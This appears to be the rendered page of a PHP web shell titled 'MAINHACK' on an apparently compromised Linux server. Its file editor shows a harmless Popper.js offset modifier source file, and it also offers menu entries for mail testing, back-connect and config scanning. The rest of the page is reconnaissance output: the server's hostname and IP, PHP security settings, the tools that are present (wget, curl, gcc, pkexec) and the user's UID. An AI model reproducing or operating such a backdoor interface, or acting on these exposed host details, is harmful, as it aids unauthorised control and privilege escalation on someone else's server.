[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: offset.js.flow
// @flow import type { Placement } from '../enums'; import type { ModifierArguments, Modifier, Rect, Offsets } from '../types'; import getBasePlacement from '../utils/getBasePlacement'; import { top, left, right, placements } from '../enums'; // eslint-disable-next-line import/no-unused-modules export type OffsetsFunction = ({ popper: Rect, reference: Rect, placement: Placement, }) => [?number, ?number]; type Offset = OffsetsFunction | [?number, ?number]; // eslint-disable-next-line import/no-unused-modules export type Options = { offset: Offset, }; export function distanceAndSkiddingToXY( placement: Placement, rects: { popper: Rect, reference: Rect }, offset: Offset ): Offsets { const basePlacement = getBasePlacement(placement); const invertDistance = [left, top].indexOf(basePlacement) >= 0 ? -1 : 1; let [skidding, distance] = typeof offset === 'function' ? offset({ ...rects, placement, }) : offset; skidding = skidding || 0; distance = (distance || 0) * invertDistance; return [left, right].indexOf(basePlacement) >= 0 ? { x: distance, y: skidding } : { x: skidding, y: distance }; } function offset({ state, options, name }: ModifierArguments<Options>) { const { offset = [0, 0] } = options; const data = placements.reduce((acc, placement) => { acc[placement] = distanceAndSkiddingToXY(placement, state.rects, offset); return acc; }, {}); const { x, y } = data[state.placement]; if (state.modifiersData.popperOffsets != null) { state.modifiersData.popperOffsets.x += x; state.modifiersData.popperOffsets.y += y; } state.modifiersData[name] = data; } // eslint-disable-next-line import/no-unused-modules export type OffsetModifier = Modifier<'offset', Options>; export default ({ name: 'offset', enabled: true, phase: 'main', requires: ['popperOffsets'], fn: offset, }: OffsetModifier);
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.53 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002